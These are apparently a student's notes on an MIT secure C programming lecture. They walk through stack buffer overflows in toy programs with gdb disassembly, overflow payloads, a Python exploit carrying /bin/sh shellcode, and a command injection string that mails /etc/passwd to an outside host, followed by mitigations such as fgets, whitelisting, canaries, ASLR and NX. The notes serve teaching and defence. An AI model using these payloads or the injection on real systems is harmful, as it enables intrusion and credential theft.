6.S096(3): Secure Programming in C

Summary

GNU/Linux systems:

  • Example attacks and exploits
  • C-specific prevention & mitigation
  • System-wide prevention & mitigation

Memory Management: Linux

2020_12_07_1

Vulnerable Code Example 1

Original Code pass.c:

#include<string.h>
#include<stdio.h>
#define goodPass "GOODPASS"

int main() {
	char passIsGood = 0;
	char buf[80];          // secure: strsize + 1

	printf("Enter password:\n");
	gets(buf);			   // secure: fgets(buf, strsize, stdin);

	if (strcmp(buf, goodPass)==0) {    // secure: strncmp(buf, goodPass, STRSIZE)
		passIsGood = 1;
	}
	if (passIsGood == 1) {
		printf("You win!\n");
	}
}

Standard Behaviour:

2020_12_07_2

The program will show ‘You win’ when the input string is “GOODPASS”.

Start a docker image to test:

docker run --rm -it i386/ubuntu bash

Although the uname -m shows it’s x86_64, but the getconf LONG_BIT command shows it’s 32. A little bit strange!

Injection point:

gets(buf);

Never use gets(), it will overflow!

Payload

In the lecture note, it shows:

$ python -c " print 'x'*80 + '\x01' " | ./test1
Enter password:
You win!
$ 

This is interesting.

However, when I try, it becomes:

$ python -c "print 'x'*80 + '\x01'" | ./pass
Enter password:
*** stack smashing detected ***: <unknown> terminated
Aborted

Life is so hard…seems like I need to disable stack smashing protection, I revise the command:

gcc pass.c -o pass -fno-stack-protector

Then I get the overflow: 2020_12_07_3

Use gdb to inspect this program:

(gdb) disas main
Dump of assembler code for function main:
   0x0000057d <+0>:	lea    0x4(%esp),%ecx
   0x00000581 <+4>:	and    $0xfffffff0,%esp  # for alignment
   0x00000584 <+7>:	pushl  -0x4(%ecx)
   0x00000587 <+10>:	push   %ebp     # save stack frame (ebp)from caller
   0x00000588 <+11>:	mov    %esp,%ebp   # move the esp address to be new ebp, ebp will point to current esp, for new stack frame
   0x0000058a <+13>:	push   %ebx
   0x0000058b <+14>:	push   %ecx
   0x0000058c <+15>:	sub    $0x60,%esp  # clear room for buff[80] + some arguments, again aligning with a 16 byte margin. 80+16 = 96 (0x60).
   0x0000058f <+18>:	call   0x480 <__x86.get_pc_thunk.bx>
   0x00000594 <+23>:	add    $0x1a3c,%ebx
   0x0000059a <+29>:	movb   $0x0,-0x9(%ebp)
   0x0000059e <+33>:	sub    $0xc,%esp
   0x000005a1 <+36>:	lea    -0x1940(%ebx),%eax
   0x000005a7 <+42>:	push   %eax
   0x000005a8 <+43>:	call   0x410 <puts@plt>  # printf
   0x000005ad <+48>:	add    $0x10,%esp
   0x000005b0 <+51>:	sub    $0xc,%esp
   0x000005b3 <+54>:	lea    -0x59(%ebp),%eax
   0x000005b6 <+57>:	push   %eax
   0x000005b7 <+58>:	call   0x400 <gets@plt>  # gets
   0x000005bc <+63>:	add    $0x10,%esp
   0x000005bf <+66>:	sub    $0x8,%esp
   0x000005c2 <+69>:	lea    -0x1930(%ebx),%eax
   0x000005c8 <+75>:	push   %eax
   0x000005c9 <+76>:	lea    -0x59(%ebp),%eax
   0x000005cc <+79>:	push   %eax
   0x000005cd <+80>:	call   0x3f0 <strcmp@plt>  # strcmp(buf, goodPass)==0
   0x000005d2 <+85>:	add    $0x10,%esp
   0x000005d5 <+88>:	test   %eax,%eax
   0x000005d7 <+90>:	jne    0x5dd <main+96>
   0x000005d9 <+92>:	movb   $0x1,-0x9(%ebp)   # Move 1 into the single byte at the address stored in -0x9(%ebp).
   0x000005dd <+96>:	cmpb   $0x1,-0x9(%ebp)
   0x000005e1 <+100>:	jne    0x5f5 <main+120>  # Jump not Equal or Jump Not Zero
   0x000005e3 <+102>:	sub    $0xc,%esp
   0x000005e6 <+105>:	lea    -0x1927(%ebx),%eax
   0x000005ec <+111>:	push   %eax
   0x000005ed <+112>:	call   0x410 <puts@plt>    # print
   0x000005f2 <+117>:	add    $0x10,%esp
   0x000005f5 <+120>:	mov    $0x0,%eax
   0x000005fa <+125>:	lea    -0x8(%ebp),%esp
   0x000005fd <+128>:	pop    %ecx
   0x000005fe <+129>:	pop    %ebx
   0x000005ff <+130>:	pop    %ebp
   0x00000600 <+131>:	lea    -0x4(%ecx),%esp
   0x00000603 <+134>:	ret 

For Assembly, intel will be ops DST, SRC; AT&T will be ops SRC, DST;

To inspect the behaviour, check passadd value after gets step. Set breakpoint at address 0x000005cd.

However, I get the error warning: Error disabling address space randomization: Success. Some common solutions do not work, and it seems that for Docker, we need the following option to disable the randomization.

$ docker commit 92c5aee8e4ee fabbit/32_gdb:version1
$ docker run --cap-add=SYS_PTRACE --security-opt seccomp=unconfined fabbit/32_gdb:version1

However, this solution still does not work for my laptop and current version.

When I try to modify the system param, there is an error:

root@92c5aee8e4ee:/# sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
sh: 1: cannot create /proc/sys/kernel/randomize_va_space: Read-only file system

Try, but also failed:

$  docker run --privileged fabbit/32_gdb:version1

Seems docker is not very gdb-friendly, I try to install a 32-bit ubuntu vm.

When 'x'*80 compare with GOODPASS, it will return 1, will be 10 00 00 00 in the memory, and the \x01 will overwrite the result, so it becomes 0.

The reason is because the passIsGood value is defined before the buf, so it is overwritten.

Vulnerable Code Example 2

Overwriting the EIP:

int main (){
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x000a0d00) printf("you win!\n");
}
  • When a function is called it imediatelly pushes the EIP into the stack (SFP).
  • After it is complete, a ret instruction pops the stack and moves SFP back to the previous EIP.
  • Trick: Overwrite the SFP, while it’s in the stack.

Assembly:

(gdb) disas main
1 0x08048424 <main+0>: push %ebp
2 0x08048425 <main+1>: mov %esp,%ebp
3 0x08048427 <main+3>: and $0xfffffff0,%esp
4 0x0804842a <main+6>: sub $0x70,%esp
5 0x0804842d <main+9>: lea 0x6c(%esp),%eax
6 0x08048431 <main+13>: mov %eax, 0x8(%esp)
7 0x08048435 <main+17>: lea 0x1c(%esp),%eax
8 0x08048439 <main+21>: mov %eax , 0x4(%esp)
9 0x0804843d <main+25>: movl $0x8048530 ,(% esp)
10 0x08048444 <main+32>: call 0x8048350 <printf@plt>
11 0x08048449 <main+37>: lea 0x1c(%esp),%eax
12 0x0804844d <main+41>: mov %eax ,(%esp)
13 0x08048450 <main+44>: call 0x8048330 <gets@plt>
14 0x08048455 <main+49>: mov 0x6c(%esp),%eax
15 0x08048459 <main+53>: cmp $0xa0d00,%eax   // if statement
16 0x0804845e <main+58>: jne 0x804846c <main+72>
17 0x08048460 <main+60>: movl $0x8048548 ,(%esp)      // you win ?
18 0x08048467 <main+67>: call 0x8048360 <puts@plt>    // printf 
19 0x0804846c <main+72>: leave
20 0x0804846d <main+73>: ret

Checking Registers:

(gdb) b *0x0804846d
(gdb) r
Starting program: stack4
buf: bffff58c cookie: bffff5dc
aaaaaaaaaaaaaaaa
Breakpoint 1, 0x0804846d in main () at stack4.c:13
(gdb) info registers
eax 0xb7fc8ff4 -1208184844
ecx 0xbffff58c -1073744500
edx 0xb7fca334 -1208179916
ebx 0xb7fc8ff4 -1208184844
esp 0xbffff5ec 0xbffff5ec
ebp 0xbffff668 0xbffff668
esi 0x0 0
edi 0x0 0
eip 0x804846d 0x804846d <main+73>

Gain some key information:

  • buf: 0xbffff58c (from gdb)
  • esp: 0xbffff5ec

Steps:

  • 0xbffff5ec βˆ’ 0xbffff58c = 0x00000060 = 96 bytes we need to overflow.
  • Jump to: 0x08048460;
  • Linux β†’ Reverse stack β†’ \x60\x84\x04\x08
    • In simple cases, the compiler converts calls to printf() to calls to puts().
    • 0x8048548 seems to be some static values, maybe “you win!\n”.
  • use this address to replace esp

Payload: Control Flow Redirection

$ python -c "print 'a' * 96 + '\x60\x84\x04\x08' " |  ./test1
buf: bffff58c cookie: bffff5dc
you win!
Segmentation fault
$

This is so interesting!

Payload: Getting shell

exploit.py

#!/usr/bin/env python
shellcode = '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'
print shellcode + '\x90' * 51 + '\x5c\xb3\x04\x08'

Get shell:

$ python exploit.py | ./stack4
buf: bffff58c cookie: bffff5dc
$

This is very interesting…

Other Attacks

  • Off-by-one exploits
  • Return-to-libc
    • Similar in principal to a buffer overflow but instead of executing arbitrary shellcode you call functions from libc.so.
    • Works when a noexec stack is enforced.
  • Heap Overflow
    • Taking advantage of libc bugs to take over dynamicaly allocated memory, or even the memory allocator itself. Many 0-day exploits nowadays are heap overflows.
  1. String null termination errors #1

    • use strcat only, no null termination, no memory management
    • correct usages: keep track of bufsize and buflen, and the length of the new argument, allocate new buffer size from heap if necessary, add null termination \0 when copying ends, then use free to free the memory.
  2. String null termination errors #2

    • use gets(buf) only, no newline char check
    • correct usages: use fgets(buf, sizeof(buf), stdin) to get str, use strchr(buf, ‘\n’) to scan for newline charactor, and append ‘\0’. If newline is not found, flush stdin to end of line.
  3. String null termination errors #3

    • use strncpy((a, string_data, sizeof(a)) only
    • correct usages: handle null pointer error, handle overlong string error
  4. Passing strings to complex subsystems

sprintf(buffer, "/bin/mail %s < /tmp/email", addr);
system(buffer);

if str is:

bogus@addr.com; cat /etc/passwd | mail somebadguy.net

it will become:

/bin/mail bogus@addr.com; cat /etc/passwd | mail somebadguy.net < /tmp/email

Solution:

  • use whitelisting by ok_chars[]
  1. Integer Overflow Addition:
unsigned int ui1, ui2, usum;

if (UINT_MAX - ui1 < ui2) {
	// handle error condition
} else {
	usum = ui1 + ui2;
}

  1. GCC Preprocessor: Inlines VS macros

Advanced techniques for securing your code

  • Using secure libraries: Managed string library, Microsoft secure string library, safeStr.
  • They provide alternatives to insecure standard C functions. (ie: safeStr)
safestr_append()
safestr_nappend()
safestr_compare()
safestr_find()
safestr_copy()
safestr_length()
safestr_sprintf()
safestr_vsprintf()
  • canaries

Protecting the System

  • WX protection, the data section on the stack is flagged as not executable and the program memory as not writable.
  • ASLR: Address space layout randomization. Randomly allocate shared libraries, stack and heap.
  • Setting the NX bit: CPU support for flagging executable and non-executable data. Reduces overhead for WX.
  • iOS5: CSE: Code Signing Enforcement. Signing each executable memory page and checking the CS_VALID flag. Prevents changes in executable code during runtime.

Examples

  • PaX on Linux
  • OpenBSD kernel
  • Hardened Gentoo
  • grsecurity
  • Microsoft Windows Server 2008 R2

References

6.S096: Effective Programming in C and C++ (Lef Ioannidis)

This course@MIT Open Course is a fast-paced introduction to the C and C++ programming languages, with an emphasis on good programming practices and how to be an effective programmer in these languages.